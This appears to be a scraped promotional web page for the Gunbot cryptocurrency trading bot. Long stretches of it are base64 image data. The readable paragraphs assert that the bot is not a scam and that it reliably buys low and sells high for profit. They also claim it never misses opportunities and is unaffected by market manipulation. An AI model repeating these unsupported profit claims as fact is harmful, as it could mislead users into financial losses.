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" width="301px" alt="gunbot settings"/></p>
<p>Gunbot is not a Scam, it is a nice bitcoin trading bot, Gunbot is exceptionally good in reading markets and buying low and selling high to make profits. It supports nineteen top cryptocurrency exchanges. Gunbot Standard is the entry level trading bot package. This includes a lifetime license with no subscription. Future updates to the software are provided free of charge.</p>
<p><h3>Is It Possible To Earn Money With Gunbot?</h3>
</p>
<p>The bot connects to several of the biggest crypto exchanges, including HitBTC, Binance, Bitfinex, Bittrex, Huobi, etc. It doesn’t have the most extensive range, but users are promised that more will be added in the future. The opportunity cost of not being on top of the market 24/7 is that you miss many opportunities to make more profit. Unlike humans though, a trading bot can run 24/7 and thus never misses opportunities. They don’t have human emotions, and they are not attached to money. Markets manipulations and huge price fluctuations, therefore, don’t affect their functioning. Humans, on the other hand, are not good at this kind of multitasking. You can only analyze cryptocurrencies market conditions by going through them one at a time. And as you switch from one cryptocurrency to the other, you can miss on many profitable trades.</p>
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Qo1DS5HMdR6YjDlhnjvAZccsMtZgau8bCOUabHbfY4taakSojCyJqt58yPPHRfe+7ufAPYhwv2W5rwW2aTS8YZVPW5kK2oWVRIkdKy+GAo0i8z+fTyx0R2IdyHu58SdgHDfa12gZ3nuWmtyoZjmVS2aRQU0NmYM51RnSoA6nGUuVjhjWR3T6GkePOU3Bd0fOKuykN7UfMjYDrbyxUyRNGxDDlufIjH08i7rv0eObVEeX0PbrC1VUsEhVOLqLUzHYBQU3JNtuuPE+9/3G4ewTKKTjvg7OqrOOGKicUtQtYF+s0cj30EsoCujWIvYEG3O+Ix8zFkkodU38UTPjThHbuvkzi8C3vBsfTBUUVhfr+Xlj1/u/92Xi3vDccJwtwxKtHR06rNmeZSxloqKG/wBogfadtwq3FyDuACR3NV9y/uKdiVHS0HbFxn42ZVKa1Ob581JJJ5ukMBQhb9Tf34tm5WPDLR9X8EVx4J5Vsui+Z8yUHir4g2dRuL9MG0sWo3A/DocfRLjH6O7sR7ReEpONO7Nx6DIyO1JGcxWvy+d15xeKLvG19iSWseYxy/2Ddk/AFR21TcB94HN/+FcsoI6uKtaoro6IwVUeyoZJAVF2B269MMfKxZIuUb6d15Jnx5wkk/PnweW5dCFAZr7YKqQCPK2Polwr3N+5RxtmTZVwZ2m1Oe1yRGY02X8S0tRIsYIBbSiEgAlRf1GG8S90HuR8IZo+RcW9qU2T5jGqyPSV/E9LBMFYXUlGQGxB22xj/EMV1Tv6Gn4LJ3tfqfN40utm8QbHYjFPUUrQytGFOpb2t5fNsevduPDXAvCfaln2QdmucrmvDVHLEtBWLVJUiZTCjMfFT2W9ssLjyt0x5pmygssijdhbYdR8jHdGpJSOWXuuike0XK97b3bA89P9YUuoPije39Q/fBjwqCbgee/PDUhVTc3+HXE0itlPbGRa+LOrpEt48aGx+2PI+eB40W+yD78KFjY1Ggi2IwPTBY2BAUfdiNFdpAurcnkOeFCySkppZBqVGPTYYxVUksEja0ZSpsQ2xGCTXPRqYoDuRZm6/DGJqsZhTqsoAmi2D/1j1/fDUWAWOFh5Ug2I5YWFCz2WRQVVl6Eg+u3+2IJYvtAHkdvutgsgNdgN03tfA8o9rY+7GupS2AMA41En2vTr1th1KrCYgFhcdRe/44dIvPQOnL9Py+/EanwZwJdS8tl5kny9MNRbMVF/rSKTfWjDdSOnljX8vs2YQKRYawfuxeTyRGojeGSRhGSHLMDbp54pKQeFmK/4WI/PDUWzaakfwwu92YD9f0xCzlI2577A288SSuHjhcfzN/0nGJCPDK73JA5eeGotlfMFW7D+W4UfPoTgWZAgt9ogkD1I5n7sGab6L73H/ScCTkkAAkkWv7yPw57e7DUWzvf6LzIqePK+PeIGs05qaKiVrb6VWRmN/I3X7saL9JXxjX5h2u8PcDMW+o5XlCViKQdJmnkkDt5H2YkHpv54uvoweMoKTiLjTgSontJmNNT5nTISAGMRZJNI5jaVCR6YtPpL+yavqK7hrtnyqilngpoxk2asikiFPEZ4JGtyBaSRST1KDrjxUlD2j7/nt+h6juXCWv8Af9TVu6p3E+yPts7Gcr7Q+LM64mp8yramrikjoqqFIQI5mRbBomPIC+/PGsdkndL7PuOe8bx32O1+b51Bk/CZqhRzRSR/WHCTqoDsU0nZzyUY8j4A723b/wBknDycDcBcbR5dk1HPM8NO2VUkxVncs3tyRMxuSeZwBwj3mO2Lgnj/AD3tOyLiSmTiLiLX/aNTLl8DrKXYMxEenQu6j7IGOt4OVtNqXft8v8fA5/WwVBa9u/zO8Y/oxuxaOQyrxjxcGtYWmpth/wDqxrHaZ9HF2OcJdnnEfFdBxTxTJVZLldXXwrLNBoeSOJnAYCIG116eeKLue96zvH9tPbblnCvFGdU2Y8OxU1VU5r4GVwReEghcREuqgi8xjHPe/lfHS3fQ7QKLs+7uXGFZPKBU5vRtk1HHezPLU/wzb/Khd/cuPNnPl4c0cUp23X7ndGPHyYnkjGkrPjNDFrkA5Ae0x8gMd09ulTN2U9wPs24R4fmalHGxp6zMnjbS0yzRmpdCeou0YI6hLcrjHC7SP4XhaV0E3YjZj8euO8uL8nr+8b3AuEa/guOTMc47OSlNW0UFjMUp4jEwC7knwjFJbmRe3QY9XlrWWNy7bdfsefx23Gdd6OG8j4a4g4qzFMl4ZyLMM3zGUF4qWhpnnmcKLsQiAk2A1Gwx6/2T5d3uexLMc0zXs77L+M6Cozei+oVXi8L1M6GPUCPYeIrqFtiQdiRjzrs67T+MOyLjKl444GzCKizeijlSKWWnSVVEqFHBRwRyYjlscd0dyDvVdvXbh2wVHDPHmdxZjkdNlFRVSeDlUEKxzB4xGWkjUEXu2xO/wxPLlkxwclFONeRx1Cckral8jwPuALmS973J483ganrYaTM4qiGRNDxyrTyBlZLDSQb3FtuWND7zkbVHeF7T6ZxcTZ7mKgW6rKWBx6t3Zc6oMj7/AFUz1qpHHWcR5/QCZiB/EkNQI158y2lRtzOPP+93w5mfCnec44gzGB0TMM4OYwOVsJIaldYI8x7RHvU+WKw68q35iv3EumD6SZpndG0/+0z2agMRbiKk2P8Anx6Z32j/AO/BmBH/AN7k/wD/ABgxrPch4NruKO9HwVFRQuyZRXPmlVIBcRxQIzXJ6XYKo9WGLrve5xR5/wB9jO6nLpVmgps6y2hd1a48WFIUkX/uuGU+oOJavl9P6fuTF/8AB1/q+x2T2wd4rL+y7vcQ9mPaFUCXgHjjhmloa+KoGqGmqJHmRZSDyRwfDf0IJ+zjgXvbd3mv7uvanUZLS+NPw3m2quyGrZdpICRqiLci0ZIU25jS22oDHrf0oqBu8TlxuduG6W1uf97NjfOxTPsp77Pd2ru73x1mir2hcGU/1vh3MZ7GSeFF0xktzNhaKTqVKNuQbcmCP4bHDOvytLb/AH/byb5X605Yn38f6K36Rok8B9gbdf8Ah6qP/o0GOneyTgfMu0vuEZHwFlNVTU1bn3Cj0ME1SWESO7MAW0gm3uBOOZfpM6CtyXhbsMyqtiMdVQ5LXU86XvpkSOhVhfrYg46A4SzbNcm+jcp85yOuqaHMKXgqaWmqKaQpLFIC1mVl3BHmMc+RN8bFq/8At92awr18l/A55ofoo+1SfMIRm/ahwvT0LOPGamjqJpVW++lWRAxtyuwx6X9JD2kR8C9jXDvYZl+WZtVVFd9VL5nPTOKfwKVRt4xGl5WYKSqk2F72uL8WUHb93jkrYTl3alxxLUFlESJmVQ5Zr7DTc336W3x9KO0+hzDjvuL5lmPbplsdLn8fCL5lUCWMI8OYxRFoG07aJGcRhlFt3ZfTG2dZceXHPO1JX46GeF48mOccSrp5NV+jWymjyPu4Zlxn9UVarNc0q5p3t7Tx06hUF/IEPb3nHzv474szvtM41zjjHiHMJKutzOrknZ5nLFULHSg8lVbAAbAAY+gH0ZHGOV8Qdime9m81QgrslzKaV4dXtNTVKgq48xqWQehtfmMcD9vHY3x72HdoeZcLcS5VUw0pqZXy2rCEwVtNqOiRG5H2SLrzU7HG3FpcrKpd/H0M+Rb4+Nx7HRH0dHGObcM9uC8FUldM2U8RUNQKmmLHw/FiXxI5QOQYBWW/UMcSfSQ8LUGT9vNFnVJAI3z7JoZ6nSuzyxu8Qc+Z0oo/7uLT6NjsZ4yr+Pz2xZxlc9Fw9llHPT0VROhT67UyDR/DuPaVV13YbXsPO2v/AEgfHeUcY9vcmVZTVx1MfDOXx5bO8ZDKKjU0ki3HVS4U+TBh0wVS9oe58Oodx4nvfHoW/wBG+FXt5rYwOXDlUP8A1oMUX0gYA7ymbEW/+XUAO/8A+Ec8XX0bwP8A2+V+/LhyqBHl/GgtfFN9IImvvI5rY7f2bQAjl/8ASGLJfz7/APJDf8ovqc0Sq0yEIdxz35/O+K6uRvqp2OpSD6+RxYGKRGLa7e7n6fnieemkmgcRoLSIbWPI49HU4bZqoW27gfE9DzGMhYiRY2vz92CHpXa4MQDH15HEZpCtzYjyA5cuWGotkYV7+Hp1BtivQ/O+BjAtNIVc3B3UjqMHASrsFsDvt5eeJTSLUJ4bqQeh8j+2GotlZoZydJsMRxIAzEbAdT1xaRUEwfRIukL0/XEeYUQp4CE/m3OGotlO51tc88JDpYEYzaxxgAk4ai2TMVNta6vI/phYwrFRa18LDUWz2iSNU3RiCTz5jAc6FLIdyB1w+rcq4vcq4J57C3MH88QyGoqNT+EESIEb7ll6HG1FbIQNT7k288NqlZpljZwwIshHkfn5tiHxWV72DC/vHz89cKolSKqEnhsh5up6N6fn8nCiLAamtkpfGpaeBPDDEe0xucU8U5bMVZti7MSPK98WtXFTOXKvKbnUSFJAv625Yqmo4kmiqlmk0hrgkDp+OFCzbYfboomv9k/uP1xkqrwuSLX9oXHXEOXsz0rx9QNQxIGV2SIjY9bcieWFCxy04JHLa/5WxXZhB4RNgCSTY+YP8vI3wY1VJEbPbUpIPr888B1k4mO4PKwN9xf5H34UTZZ9mXH+f9l/H+TcdcOzIlflVSsqqGAWVDs8bWH2WUsp9+Pr92a9pfZz3jezxq6hSmrqOug+r5rlNTpd6d2UaopV8vJuRG4x8XpoGgVJ2AZGufYv8F+Pz67JwP2k8b9nmex592eZvPkuaUxBkkppCQ67XR1I0uvQqwI2xwc3gLlJSi6kux1cXlPjun1TOzu176MKLM8yqc67HOM6ehWokaQZVnIcxR3N7JUIGew6BkJ82xqXBH0YPadPWCPjrjvh7KqEPrZssM1XOw8grpEo95J92COGvpROOclAo+M+zbKs8MYANRR1r0TttzKlJFv7rYusw+lPra6mkj4e7G4aeoAsstZnRlQE7C6LCpP/AIhjhS9pxWnf59Dqvgy95/c627Kex/sx7t/BM9FkKxUdPFGajM82rpF8WfSLl5ZDYBQL2UWUdBucfOrvt945O3fieHJuGqphwjw9IwojoKmsnayvUMD/AC9FBGwudi22h9t/ef7W+3OQ0HG+eVFLlaG6ZVlxFNRA9C4vqkI83LW6Wx4+KWMF6lp7wK6szAnT7I5DoSTjq4fs94p+tndyMeTy1kj6WJVEGlVonaN13U2Ix6V2C9vfaB2C8TT55wRXxeFVR2raCqBemq1XkHUEEEX2YEEX8rg+YyzGeR5mFtbE28h0GJqC+uaXpHE3xJ2Ax6M8cckXGStHDGcoO4vqdmv3ve7DxtJ/a/aZ3Vsmqc7uGkny2WGQTMTuzXWNufRtXvOBuK+/jmdDkNRwb2E9meS9neXSgxmelVHqLWtdQqIiNbrZiOYPXHHgjEQEcJA0b6go5+e+3Q+4C/M4xJmssTFZHiDjmOZv6i4xzLgYE7ab+rbX6G75WVrv/hBNPxFnWV58M/gqpTmkNZ9dStdyZROH1CTUdy2oXvfnjsHKe/jwH2g5TRZb3jOwLKuKq2iVI48zpvD1sb89Ei3U33Ol7emOKJJkmkeTxpWY3ZrKbfngvLQJDHpbUHmjW5589/0641y8bHmrZdu3j9imPNPFer7nXGffSAcCcC5XmnDvdu7B8p4Jq6vXBLnE6xGUG5FxHGvtMDuCzkX/AJTjkOh4mnXian4lr6hq2qWuWvmMj+3PIJNbEsd7sb7788a7UuJqiaoU31SuxJ5C5JxE4DDxAbA826nDFxseFPVd+/xE808jWz7HvPem7f4e8f2iU/HcPCj5AIctiy/6q9YKktod216wiWvr5W6c8aD2a9ofEvZXxvlHHvCdW9NmWT1CzxkH2ZE/nicdUdbqw8jjRQ8qqGR2TzVTuT64nFdUWBZVfpa3I4vHDCEPTS6FZZJSlu31Oke9v3rY+9K/Cs0fA7cPNwzHWK98x+tCoM/gm4/hpp0+D631em/rvYx9JLQ9kvZVw32bTdjk+anIKIUbVa52IVmIYnVoMDaefK5xwutbCxXWjAn+ncDE0c0T+yJEcHzNrYwlwcEsaxNdF82aLlZYzeRPqz6Lt9LBQrGXo+whrncauIgB8bU2PCu8d36OP+8FkI4NjyKj4Z4daVZamkp52nlqWU3USSkL7INjpCjcC97Y5njBUEIdQ8rWxMFuAw+7Fcfs/jYpKcY9V9S0+XmyLVy6G59lXajxr2Q8X0nG/AeamizGmBV1ZdUVREbao5FOzIbcvcQQQDjtvh76ULhnMstSk7S+xyomqo7Etl1TFPFI39QjmClP/E3vx89IxpIsfccGKolW7XBHWwvi+fh4eQ7yLqVxcnJh6QZ2h2rfSdcUcR5PUcO9k/BK8LpPGYRmVZOs1TEpFrxxqoSNh0JLW5i1scc/X6iqnkrKud5p6iRpJpJG1O7k3LMTuTfmcCmi1G4Av/UP1xHaSN7SaQeRufxxfDxcXHVY1RXJnyZnc2e592Tt4g7Ae0Cfjefhps78fLJcv+rJVinI1vG2vWUa9vDta298Rd4Ttjg7cu0yq7QI8hfJhU00FP8AVGqRPbw0C31aVvfY8tseP0xYkBXBI8je4wRJL4cgFyT+eJ/D4/V9aveqiPVlp6d9A111fZt59dx78Zh5+Fq33K2O3uxCs6lSQ1gPwxClaolFuYN7Xvf53xrRnYDVp4MrqJQLE7AYHEicxMbDmR+2LfMaWKd1mjIAkW/xGKyWgZQStveDhQsws8cRux5G+3T1GHxVoZwvhFj5Ae78OeI0oJBZp/ZHpzv8nE9lRNMahFHl8d/XChZc0ppp4gKggEC4sdx7ziLM6anjjLfVww82JP8Atitimkha6kDrz2+GCGq5GFmIt1FsKFlSWW5CIo9yD9MZVlbYxxseoKg4MekhluwBFzvpF8R/UX5pIrDzvbChsQ/V6KXdqRSfNCR+AOFiU006fysL+QvhYULZvQf61AYy2lv6r/ZPQ/pgakkminayhdAtIpO9/O5/D44q8jzRHtSS21oLLc/aXyxcVVMtUySREeIBdQdtYH8pxrRQEkinKtUlFWNmNlU7pvY39L3+eUNRUSyBRJYhNg3X4/P3HFxEJgkkixR6CPYQ7HV1vitko/4CyRSK5YElNvZ9B5/Puw1BU1Goqbcz0PU9fn7x1xWu8QT6uIbOwc6gdvsnYW2O+LGchlvGR6Lfb1H+lvgMU9U2h9QJUjk3kff+5+GGoNkyGtM9LBUE7so1e8bH9cEVEZSeRBqBXdW1W93P88UXD1dK8skEzXJPiJ5c9wPhbF/Vn+CsiAewADqP8l/xscNQQVKCONJUlMiS76ievz+WAnYna5J+4/P+vlgpvEqJPqYmiiitqVbDVcelzYH9cBzAxuUYWZTYjn8/PmcNQOqmi0xmOU3t7SE2tz3t8/hgSsq6ijqPBovCiARS58NSSx3/AGwXXNMYIHkiXl7EgN7j+k/d7/jcYGlkpaiYs1IxZ+ZVhtttzP3Ec8NQVdRPLIzPOwLnnYWH3YhirZ6YsYGUFuZYXxapTZZWa9ClShUMHax3PTfFdQQwtmIp501qC6lSeZAPlhQGtmlYxufAv/V4K3PxtiGapnqG1VEzSEcgdgPcMGZlHTfUkqYaYRfxdH2SL7X64JovD+oRuEiUmNgG8EMSwPUnlzGFArYKSqqjaCIkDmx2Ue84LAihh8GBhIuq8kg5Ow5BfMC/xJGCJstqKpYjJmRmVxfwlAUW+BtbDzQyIWCiILELLblyt+9vjvc3DUFZVytDECBdjy/pB57egFv/AC4Hy9FF55jZCwUseu4/WwP+bFqVmpIS7pHeoFvba7KL/dfr7yOQGGU8tLBBLUuIrRAEqRsOuw6Xvt13HlhqAbMJFrK/6vTNbw0BYxMAbE/cQNtsPhmWKGSsJJSJJpwSAL2GlOXrY4hRpY4lhhjhRZlVY1ABdXJuWvv7PMg+gxHn0qQZSYUG9S4jRQd/Djtf8bfdhqDWkuDpPtefkPXGVuGIJv0LHkPdjOzJawuu2lcOezAXF2Fl0jlhqBigAldwORY8z7sIbAp9lTt6k4eyhgGsGYbW6DCa5KuAGbkT0FsNQMAJUo3sjmFHMnCteOxFtO4UeXrh7X1B03J3LeRwgNLaowLHcsfI4agcHkChg5W22lTb78Ew5jPC41uSp5DmcDxqAWRdr7Fj+GMqo0kJtbfUefrhqC8p6tJ9kcI43KEC+C4knY6gDbqd8a5CRqWRf5SAWON7ympoqegV6hDKXHsMTbT++GoAryBDe9+R22OGSRQTjTKpvvYgWxJUVVPUyl6eQOF2IB5fDEei1zpA93XCgCrRVUUilP4ijdSvMfDD/rcqSsre0Ad1bp7sHUzKpsSCCb288OqoozczIJFJ2bkQffhqCKKpWfV4T+1bkeeIQHL8iAPnbDVoo93hlAboCbj78B1CVkLEHXYnmCSPvw1BsFMxKeDKbDmPPEhqRC9lhA9Tc39camrtqBJJP44MhzGqjFllJXyYah9x5Yag2a0VUPs2a17ftiCXLWUa7rYcyTyxS/2pWXB8Yj/KAPywfT1wqluzWlHMX5+ow1Bh/q8YKtITtyAv0w4TQn7ETEEgX1Dy8sSApMwWRAfP5+OHpRqTdRe2/kcKAPHU3bT4aEEee/3YTzSJcgADn6/jgp6Qqb2vvazC+B1AJ0EC3lqt1woEZqpl5An3Kf0wsNnjA0hrjY84wevrhYaggdzE4kQlWU3BHTG2ZDnlLmcf1WpOioHMXtqt1X1xqdQDv5HALM8Th42KkG4I2IONqM7PTa2oeKPQzAFtg9vZf0PUHFF9YkikkWdxFLKxLm4AK22C+nuOKrL+Ln0iDMbE2trtcN/mH64tVqKGtjMd47Pyjc3W/wDhbphQsHFXl89OihCAtwW02bbqbDf3HzGKuWnaoSSWN0I1soU3DADry2+FuWLCanamvTwFUN7+HOOR2N1ccxcDntil+p1NPUhqmGQKQ13XcG4O9xcYULI4oKynq/GgiBaBgSWAHMeZNztja6Op+sLsNnFwpsfeuNbEcAikWKr8JmRbuW3LXHO5F+uCcml+qTf8xmEbwOLEl09hh1+169L4ULLN4vq88aLIscZbXG1ravRvMjyOE0LV8k1Qkynw7LGoGzjnck+8+nwxYZhSxT05SZdSEXYrbbyYYqg9TBPDC8jL4MZIVEusy9CP2539+yhYO8k4Qw6m0hvaQ+fLr+v4GxMJXWOtx99+o5fh9464OpqeOp8QzyWq5GPI3BC7cvTlceRt1xEYV1tG1tSHew6H4b+63wGFCwenqHgkMRSN/FIAYqCRv0/0Jt5Ygjoa1M7NSKWTwvrDHWRtpJO/3HE1REV63tuGB5+nPf3XPuwMJfaPiylGBB9olbchtsOl8KFj5qaapopaWIxM6ThrBkAtYi/P0xNFTTwZdDTz+EhV2JJcbA+o93mMSVL009PTeFVUzOiWYBlUi2k2vffdcSwwRmAJESbC2oc7e9Rf/wA2FCwNjpZdOssdlutiB1IXp7z/AOI4hMkrBrSG73JsRv63/wCrkP5RfBU0IU6dgqcgADqPuFwT63c4ZLTTRQNMUGhfaYs+5H8zX3JsPK/w3GFCyFFRpIoZZDY7XtbYDceg6b+7mWxHX+FLKpiSHUqtHGNOoFjzJHI8iL7m/nYYkqamPMoRR0aFoZDZ3WwEdrEc+t7eV+Q9BEpkicx00zrThSsxJv5bKejMOduQwoWSUVKXnE0ekvIiwRleQAHtN7hyB8gcUeeVq1WYBoHtTwL4UQA3IHMn3m5+OLnOK0UFMaNLpVVMenSot4UP9I8mI6c7Y1mNGQ+G1o7/ABN8KFjgojI/lQ7+pGM2EZ0t7KHy5kYyqkqQotbcM3P1tjAAZbjdl5s3lhQswFCkow0KdvU+uEo20MN